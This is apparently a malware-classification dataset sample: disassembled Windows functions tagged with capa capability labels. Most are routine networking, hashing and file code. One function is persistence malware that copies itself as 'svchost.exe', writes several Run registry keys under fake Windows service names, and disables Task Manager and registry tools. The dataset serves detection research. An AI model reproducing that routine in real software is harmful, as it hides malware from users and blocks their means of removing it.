joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f430
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
lea esi, [ebx + 1]
push esi
push ebx
call dword [0x48f008]
mov edi, eax
add esp, 8
test edi, edi
je 0x43f48a
nop dword [eax]
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
test esi, esi
je 0x43f4a6
cmp esi, ebx
je 0x43f4a6
cmp esi, 0x8000
ja 0x43f4a6
cmp esi, ebx
jb 0x43f49d
push esi
push edi
call dword [0x48f008]
mov edi, eax
add esp, 8
test edi, edi
jne 0x43f450
mov ebx, dword [ebp - 4]
push ebx
call dword [0x48f004]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [0x48f004]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43f4c0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043f430

Function at 0x443840
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x48fde4]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x443892
push 3
push 2
push eax
push eax
push 6
call fcn.00448f60
add esp, 0x14
test al, al
je 0x443886
mov dword [0x48fde4], 2
mov esp, ebp
pop ebp
ret
mov dword [0x48fde4], 1
jmp 0x443897
cmp eax, 2
je 0x4438d7
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4438be
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x4438d7
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret
Function at 0x4442c0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 8]
push dword [esi + 0x14]
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x444300
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
lea eax, [esi + 0x9c]
push eax
push dword [ebp + 0xc]
call fcn.00443970
add esp, 0xc
pop edi
pop esi
pop ebp
ret
push dword [ebp + 0xc]
push edi
call fcn.00444440
push 1
push dword [esi + 0x98]
call fcn.0044cc50
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x444410
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0x10], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
jne 0x444434
push dword [ecx + 0x14]
lea eax, [ecx + 0x18]
push eax
push dword [ecx + 0x98]
call dword [sym.imp.WS2_32.dll_connect]
pop ebp
ret
or eax, 0xffffffff
pop ebp
ret

Function at 0x444440
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x48f288]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [eax + 8]
lea eax, [ebp - 0x184]
push 0x80
push 0
push eax
mov dword [ebp - 0x188], 0x80
call fcn.00455010
add esp, 0xc
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x184]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x4444db
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.0040bb10
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.0041d280
add esp, 0x1c
mov eax, 2
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045354f
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x100]
push eax
lea eax, [esi + 0xd0]
push eax
push dword [ebp - 0x188]
lea eax, [ebp - 0x184]
push eax
call fcn.0041dce0
add esp, 0x10
test al, al
jne 0x44454a
push edi
call fcn.0045e9fd
mov esi, dword [eax]
call fcn.0045e9fd
mov edi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.0040bb10
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.0041d280
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045354f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0045354f
mov esp, ebp
pop ebp
ret
Function at 0x444720
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x48f288]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
push 4
cmp byte [esi + 0x6ca], al
setne al
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x44477d
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d
push esi
call fcn.0041d340
add esp, 0xc
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045354f
mov esp, ebp
pop ebp
ret
push dword [esi + 0x668]
mov dword [ebp - 0x10], 1
call fcn.0041ec80
push dword [esi + 0x66c]
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
call fcn.0041ec80
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x4447ed
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d
push esi
call fcn.0041d340
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0045354f
mov esp, ebp
pop ebp
ret
Function at 0x445ca0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
push 0x11
push str.WWW_Authenticate:
push edi
mov dword [ebp - 4], 0
call fcn.00422260
mov esi, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x445cd6
mov ebx, dword [esi + 0xe0]
cmp ebx, 0x191
je 0x445cf8
push 0x13
push str.Proxy_authenticate:
push edi
call fcn.00422260
add esp, 0xc
test eax, eax
je 0x445d42
mov ebx, dword [esi + 0xe0]
cmp ebx, 0x197
jne 0x445d42
push edi
call fcn.00425440
mov edi, eax
add esp, 4
test edi, edi
jne 0x445d11
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x197
push edi
sete al
movzx eax, al
push eax
push esi
call fcn.00426ed0
push edi
mov esi, eax
call dword [0x48f004]
add esp, 0x10
test esi, esi
je 0x445e93
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xf
push str.Content_Length:
push edi
call fcn.00422260
add esp, 0xc
test eax, eax
je 0x445da1
mov ecx, dword [esi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x445d7f
push ecx
push str.Ignoring_Content_Length_in_CONNECT__03d_response
push esi
call fcn.0041d340
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x10]
add eax, 0x200
push eax
push 0xa
lea eax, [edi + 0xf]
push 0
push eax
call fcn.0042c7c0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
push str.close
push 0xb
push str.Connection:
push edi
call fcn.004253a0
add esp, 0x14
test al, al
jne 0x445e89
push 0x12
push str.Transfer_Encoding:
push edi
call fcn.00422260
add esp, 0xc
test eax, eax
je 0x445e3f
mov ecx, dword [esi + 0xe0]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x445dfd
push ecx
push str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
push esi
call fcn.0041d340
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 7
push str.chunked
push 0x12
push str.Transfer_Encoding:
push edi
call fcn.004253a0
add esp, 0x14
test al, al
je 0x445e93
push str.CONNECT_responded_chunked
push esi
call fcn.0041d340
mov eax, dword [ebp + 0x10]
push esi
mov byte [eax + 0x20c], 1
call fcn.004491f0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
push str.close
push 0x11
push str.Proxy_Connection:
push edi
call fcn.004253a0
add esp, 0x14
test al, al
jne 0x445e89
lea ebx, [esi + 0xe0]
push ebx
lea eax, [ebp - 4]
push eax
push str.HTTP_1._d__d
push edi
call fcn.00414be0
add esp, 0x10
cmp eax, 2
jne 0x445e93
mov eax, dword [ebx]
pop edi
mov dword [esi + 0xd6c], eax
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x10]
mov byte [eax + 0x20d], 1
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44e070
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000040
push 1
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x44e0af
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x8003
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x44e0b7
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 0x1b
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret

Function at 0x44e250
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push esi
push edi
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [edi + esi - 1], 0
test eax, eax
jne 0x44e283
push 0x2e
push edi
call fcn.00455170
add esp, 8
test eax, eax
je 0x44e281
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x44f710
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48f288]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push edi
mov edi, dword [ebp + 0x10]
push 0xf0000040
push 1
push 0
push 0
push eax
mov dword [ebp - 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x44f7a2
lea eax, [ebp - 0xc]
mov dword [ebp - 0x18], 0x208
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0x6601
push edi
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x10], 8
call fcn.0044f800
lea eax, [ebp - 0xc]
push 8
push eax
call fcn.00450870
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0x14
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x44f7b4
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045354f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push dword [ebp - 0x20]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push eax
push esi
push 0
push 0
push 0
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0045354f
mov esp, ebp
pop ebp
ret

Function at 0x44f930
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000040
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x44f962
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x800c
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
xor eax, eax
pop esi
pop ebp
ret
Function at 0x44fa70
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
jne 0x44fa9d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x44fae7
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [ebp + 0x10], ebx
jmp 0x44faed
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x44fb4b
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop dword [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x44fb10
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x44fb77
mov eax, dword [esi + 4]
push 1
push 0x481b10
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x481b11
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x44fb50
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x450870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x4508c0
push ebx
mov ebx, dword [ebp + 8]
mov cl, byte [esi + ebx]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
and dl, 2
movzx ecx, cl
cmp dl, 2
cmovb ecx, eax
mov byte [esi + ebx], cl
inc esi
cmp esi, edi
jb 0x450882
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x450910
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x45094f
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
pop esi
pop ebp
ret

Function at 0x452550
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00452560
Function at 0x452880
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x4826a8]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x4826a8]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x4826a8]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x4826a8]
mov eax, edx
pop ebp
ret

Function at 0x4528c0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004528d0

Function at 0x4695df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00469455
Function at 0x4018c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40197c
cmp byte [esi + 0x3d], 0
je 0x40197c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40196a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x401931
sub eax, 1
je 0x401935
sub eax, 2
jne 0x40196a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403294
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401953
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40196a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403294
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403294
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00403294
mov esp, ebp
pop ebp
ret
Function at 0x402710
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
push 0x103
push eax
mov dword [ebp - 0x110], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
nop dword [eax]
mov cl, byte [eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x402750
mov ecx, dword [0x405364]
mov dword [eax], ecx
mov ecx, dword [0x405368]
mov dword [eax + 4], ecx
mov cl, byte [0x40536c]
mov byte [eax + 8], cl
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x108]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402790
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x405374]
mov dword [ecx + 4], eax
mov eax, dword [0x405378]
mov dword [ecx + 8], eax
mov al, byte [0x40537c]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403294
mov esp, ebp
pop ebp
ret
Function at 0x403b21
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b60
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b60
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b60
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b60
cmp dword [ecx + 0x74], 0xe
jbe 0x403b60
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4021c0
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
mov edi, ecx
push 0x440723
push ecx
call sub.msvcrt.dll_fopen
add esp, 8
test eax, eax
je 0x402205
mov esi, eax
push eax
push dword [0x45c040]
push 1
push dword [0x45c044]
call sub.msvcrt.dll_fwrite
add esp, 0x10
cmp eax, dword [0x45c040]
jne 0x402227
push esi
call sub.msvcrt.dll_fclose
add esp, 4
xor eax, eax
pop esi
pop edi
ret
push 2
call dword [0x43fa18]
add esp, 4
push edi
push str.Unable_to_open_target_file__s__n
push eax
call fcn.0042b280
add esp, 0xc
mov eax, 1
pop esi
pop edi
ret
push 2
call dword [0x43fa18]
add esp, 4
push dword [0x45c040]
push str.Error_writing__d_bytes_to_the_target__n
push eax
call fcn.0042b280
add esp, 0xc
push esi
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, 1
pop esi
pop edi
ret

Function at 0x40c370
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, ecx
mov ebx, dword [esp + 0x1c]
cmp byte [ecx + 0xa], 0
je 0x40c3ac
push dword [esi + 4]
call sub.msvcrt.dll_fflush
add esp, 4
test eax, eax
je 0x40c3a8
push dword [esi + 4]
call sub.msvcrt.dll_clearerr
add esp, 4
mov dword [ebx], 0
call dword [sym.imp.msvcrt.dll__errno]
jmp 0x40c3ed
mov byte [esi + 0xa], 0
mov ebp, dword [esp + 0x18]
push dword [esi + 4]
push ebp
push 1
push dword [esp + 0x20]
call sub.msvcrt.dll_fread
add esp, 0x10
mov dword [ebx], eax
mov byte [esi + 9], 1
xor edi, edi
cmp dword [ebx], ebp
je 0x40c3ef
mov ebx, dword [esi + 4]
push ebx
call sub.msvcrt.dll_ferror
add esp, 4
test eax, eax
je 0x40c3ff
push ebx
call sub.msvcrt.dll_clearerr
add esp, 4
call dword [sym.imp.msvcrt.dll__errno]
mov edi, dword [eax]
call fcn.004358c0
mov edx, eax
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
push ebx
call sub.msvcrt.dll_feof
add esp, 4
test eax, eax
je 0x40c3ef
mov byte [esi + 9], 0
jmp 0x40c3ef